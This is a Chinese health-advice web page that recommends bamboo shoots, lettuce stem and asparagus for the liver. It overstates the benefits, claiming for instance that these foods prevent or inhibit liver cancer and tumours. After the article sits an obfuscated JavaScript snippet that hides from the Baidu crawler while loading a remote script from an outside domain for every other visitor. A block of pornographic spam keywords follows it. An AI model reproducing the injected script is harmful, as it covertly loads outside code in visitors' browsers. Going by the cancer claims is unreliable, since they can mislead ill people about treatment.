當前位置:首頁 > 飲食 > 食物營養 > 正文

保護肝臟的營養品有哪些

2017-07-11 12:08:32  來源:360常識網   熱度:
導語:現在的生活節奏的加快,飲食上的不注意,導致營養過剩的情況比較常見,一些人的身體也出現了一些不良的狀況,現在越來越多的人開始注意自己

現在的生活節奏的加快,飲食上的不注意,導致營養過剩的情況比較常見,一些人的身體也出現了一些不良的狀況,現在越來越多的人開始注意自己的飲食情況,其實這個觀念是很重要,我們平時不僅要吃好吃飽,更要吃的健康,那些食物可以保護我們的肝臟呢,下面我們就來給大家介紹幾咱保護肝臟的營養品。

竹筍:通便、排毒

竹筍的好處有很多,食療竹筍可達到通便作用,腸道中的大腸桿菌能把竹筍纖維素合成人體所需的維生素,還能與腸道中膽固醇代謝產物膽酸合成不能被吸收的復合廢棄物排出體外。

竹筍食療方法推薦用平菇、猴頭菇各60克,瘦豬肉或烏雞各200克,加竹筍600克切成片,用植物油炒熟或用文火燉熟,經常食用可防止消化道腫瘤和肝癌,但有嚴重胃出血者以及有食道靜脈曲張者應慎食竹筍。

萵筍:增食欲、防貧血

萵筍葉含豐富的鈣、胡蘿卜素及維生素C,而臭萵筍素可促進胃液、消化酶及膽汁分泌,有助于乙肝、丙肝病毒攜帶者以及慢性肝病患者增進食欲。肝硬化合并貧血者常吃萵筍,可促進有機酸和酶分泌,增加鐵質吸收,有助于血小板上升和恢復,防止病情惡化。

蘆筍:減輕疲勞感

蘆筍含有的核酸、葉酸、谷胱甘肽、膽堿、精氨酸、甘露聚糖、肽酶蘆丁等均能有效抑制癌細胞生長。蘆筍還可作為肝癌患者進行食療的營養品,可減輕疲勞、增進食欲。

以上這三種食物都有著很好的保肝護肝的作用,在我們的飲食當中可以經常食用些食物,除了從飲食上注意養肝護肝外,從其他生活習慣上也要非常注意,要少喝酒少抽煙,有規律的鍛煉身體,增強身體的免疫能力,從而提高我們身體的健康。

轉載申明:360常識網,歡迎分享,轉載請注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}
热99re久久国超精品首页| 人人妻人人澡人人爽人人精品| 777国产偷窥盗摄精品品在线| 免费精品国产自产拍观看| 久久亚洲精品无码VA大香大香 | 国产三级精品三级在线观看| 日韩精品免费一级视频| 国产亚洲精品无码拍拍拍色欲| 欧亚精品一区三区免费| 久久99精品国产99久久| 午夜国产精品久久久久| 四虎亚洲精品高清在线观看| 久久精品成人免费看| 亚洲午夜精品久久久久久浪潮| 小呦精品导航网站| 91精品日韩人妻无码久久不卡| 亚洲精品自在在线观看| 亚洲国产精品自在拍在线播放 | 久久精品国产亚洲精品| 国产精品玖玖玖在线资源| 青娱乐精品视频在线观看| 精品无码一级毛片免费视频观看| 国产成人精品日本亚洲专区6| 久久九九亚洲精品| yy6080久久亚洲精品| 精品香蕉久久久午夜福利| 精品日产卡一卡二卡国色天香| 国产精品vⅰdeoxxxx国产| 亚洲精品和日本精品| 国产精品久久久久三级| 精品无码综合一区二区三区| 亚洲自偷精品视频自拍| 久久精品国产亚洲av麻| 中日韩产精品1卡二卡三卡| 国产精品嫩草影院久久| www好男人精品视频在线观看| 热re久久精品国产99热| 狠狠入ady亚洲精品| 精品无人乱码一区二区三区| 亚洲AV成人精品一区二区三区| 精品免费人成视频app|